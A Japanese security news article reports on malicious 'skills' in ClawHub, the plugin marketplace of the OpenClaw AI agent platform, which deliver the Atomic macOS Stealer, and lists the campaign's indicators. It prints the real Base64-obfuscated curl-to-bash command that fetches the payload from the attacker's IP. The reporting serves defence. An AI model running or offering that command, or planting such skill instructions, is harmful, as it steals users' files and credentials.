ClawHub に 341 件の悪意の “skill”：OpenClaw を介したサプライチェーン攻撃を検出

OpenClaw Becomes New Target in Rising Wave of Supply Chain Poisoning Attacks

2026/02/09 CyberSecurityNews — AI エージェント・プラットフォーム OpenClaw の、ClawHub プラグイン・マーケットプレイスが悪意の “skill” により汚染され、深刻なサプライチェーン・リスクに直面している。この急速に成長しているオープンソース・エコシステムにおいて、Atomic Stealer などのインフォスティーラーを展開する侵害済みエクステンションが数百件規模で存在することを、セキュリティ企業 SlowMist と Koi Security が明らかにした。

OpenClaw プラットフォームにより、ローカル AI エージェントがワークフローを自動化して各種サービスと連携し、デバイスを制御することが可能になる。その機能は、ClawHub 上で配布される “skill” と呼ばれるモジュール型エクステンションにより実現されている。

スキルは AgentSkills 仕様に従う “skill” は、主に “SKILL.md” ファイルとして提供されるが、その内容は監査可能なコードではなく、実行される指示自体を含む構成となっている。この設計により、Markdown は単なるドキュメントから実行の入口へと変質し、悪用されやすい状態となっている。

さらに ClawHub のアップロード・プロセスは審査体制が緩く、npm や VS Code マーケットプレイスで見られてきた過去の脆弱性と同様の構造を持つ。そのため、最近の人気急上昇により、開発者と同時に攻撃者も流入している。

Koi Security は 2,857 件の ClawHub “skill” をスキャンし、そのうちの 341 件が悪意あるものであると判断した。これは約 12% の感染率に相当しており、この展開に対して ClawHavoc というこのキャンペーン名が付けられている。その一方で SlowMist は、400 件以上のサンプルから IOC を統合し、共通インフラを用いる 472 件の悪意の “skill” を特定した。

それらの悪意の “skill” は、暗号資産系ツール (Solana トラッカーや Phantom ウォレットなど)／YouTube ユーティリティ／Polymarket ボット／clawhub1 などのタイポスクワッティングに集中している。一連の悪意の “skill” は、アップデータ／セキュリティ・チェック／金融支援ツールなどを装い、利用者の警戒を回避する。

攻撃チェーンの内訳

攻撃者たちは、”SKILL.md” の “prerequisites” に 2 段階のペイロードを埋め込む。Base64 で難読化された以下のようなコマンドを利用者が実行すると、curl | bash によるダウンロードが開始される。

echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC83YnV1MjRseThtMXRuOG00KSI=' | base64 -D | bash

第 1 段階のドロッパーは、”91.92.242.30″ などの IP アドレスからスクリプトを取得し、その後に “x5ki60w1ih838sp7″ などの第 2 段階のバイナリを取得する。それらは、Atomic macOS Stealer (AMOS) に一致する、ad-hoc 署名の Mach-O ユニバーサル・バイナリであることが、SlowMist の分析で確認されている。具体的なアクションの連鎖は、Desktop や Documents のデータをコピーし、”socifiapp.com” などの C2 に送信し、Keychain やブラウザなどの認証情報を窃取するものである。

動的解析で確認されたのは、パスワード入力を誘導するフィッシング・ダイアログ／”.txt” や “.pdf” ファイルの ZIP 化／curl によるアップロードなどである。悪意の IP “91.92.242.30” は Poseidon 恐喝グループと関連付けられており、組織的なオペレーションによるドメインや IP の再利用が示唆されている。

人気の “skill” である “X (Twitter) Trends” には、設定出力を装う Base64 バックドアが隠されている。これをデコードすると、”91.92.242.30/q0c7ew2ro8l2cfqp” からのダウンロードが行われ、”dyrtvwjfveyxjf23″ という macOS フォルダを標的とするスティーラーへと連鎖していく。この手法により、キーワード・スキャナーを回避しながら、迅速なペイロード切り替えが可能となっている。

IOCs
Domain IOCs
TypeIndicator
Domainsocifiapp[.]com
Domainrentry[.]co
Domaininstall[.]app-distribution.net
URL IOCs
TypeIndicator
URLhxxp[:]//91.92.242.30/7buu24ly8m1tn8m4
URLhxxp[:]//91.92.242.30/x5ki60w1ih838sp7
URLhxxp[:]//91.92.242.30/528n21ktxu08pmer
URLhxxp[:]//91.92.242.30/66hfqv0uye23dkt2
URLhxxp[:]//91.92.242.30/6x8c0trkp4l9uugo
URLhxxp[:]//91.92.242.30/dx2w5j5bka6qkwxi
URLhxxp[:]//54.91.154.110:13338/
URLhxxp[:]//91.92.242.30/6wioz8285kcbax6v
URLhxxp[:]//91.92.242.30/1v07y9e1m6v7thl6
URLhxxp[:]//91.92.242.30/q0c7ew2ro8l2cfqp
URLhxxp[:]//91.92.242.30/dyrtvwjfveyxjf23
URLhxxps[:]//rentry.co/openclaw-core
URLhxxps[:]//glot.io/snippets/hfdxv8uyaf
URLhxxp[:]//92.92.242.30/7buu24ly8m1tn8m4
URLhxxp[:]//95.92.242.30/7buu24ly8m1tn8m4
URLhxxps[:]//install.app-distribution.net/setup/
URLhxxp[:]//11.92.242.30/7buu24ly8m1tn8m4
URLhxxp[:]//202.161.50.59/7buu24ly8m1tn8m4
URLhxxp[:]//96.92.242.30/7buu24ly8m1tn8m4
URLhxxps[:]//glot.io/snippets/hfd3x9ueu5
IP IOCs
TypeIndicator
IP91.92.242[.]30
IP104.18.38[.]233
IP95.92.242[.]30
IP54.91.154[.]110
IP92.92.242[.]30
IP11.92.242[.]30
IP202.161.50[.]59
IP96.92.242[.]30
File IOCs
TypeFilenameSHA256
Filedyrtvwjfveyxjf2330f97ae88f8861eeadeb54854d47078724e52e2ef36dd847180663b7f5763168
File66hfqv0uye23dkt20e52566ccff4830e30ef45d2ad804eefba4ffe42062919398bf1334aab74dd65
Filex5ki60w1ih838sp71e6d4b0538558429422b71d1f4d724c8ce31be92d299df33a8339e32316e2298
Filedx2w5j5bka6qkwxi998c38b430097479b015a68d9435dc5b98684119739572a4dff11e085881187e
Fileopenclaw-agent.exe17703b3d5e8e1fe69d6a6c78a240d8c84b32465fe62bed5610fb29335fe42283

この問題の原因は、OpenClaw のエクステンションである “skill” の設計仕様と、配布場所である ClawHub の審査体制の不備にあります。具体的には、スキルの動作を定義する “SKILL.md” というファイル内に、プログラムの実行命令 “prerequisites ” を直接記述できる仕様になっていました。この仕組みを悪用する攻撃者は、無害に見えるツール (SNS 管理や暗号資産管理など) を装いながら、内部に難読化された不正なコマンドを混入させています。

技術的な中核は、ユーザーが “skill” をインストールした際に実行される、Base64で難読化されたコマンドです。これが引き金となり、外部サーバから Atomic Stealer (AMOS) などの強力なインフォスティーラーがダウンロードされます。その結果、PC 内のファイルやブラウザに保存されたパスワード／暗号資産ウォレットの鍵情報などが、攻撃者のサーバ (C2) へと送信されてしまいます。ご利用のチームは、ご注意ください。よろしければ、OpenClaw での検索結果も、ご参照ください。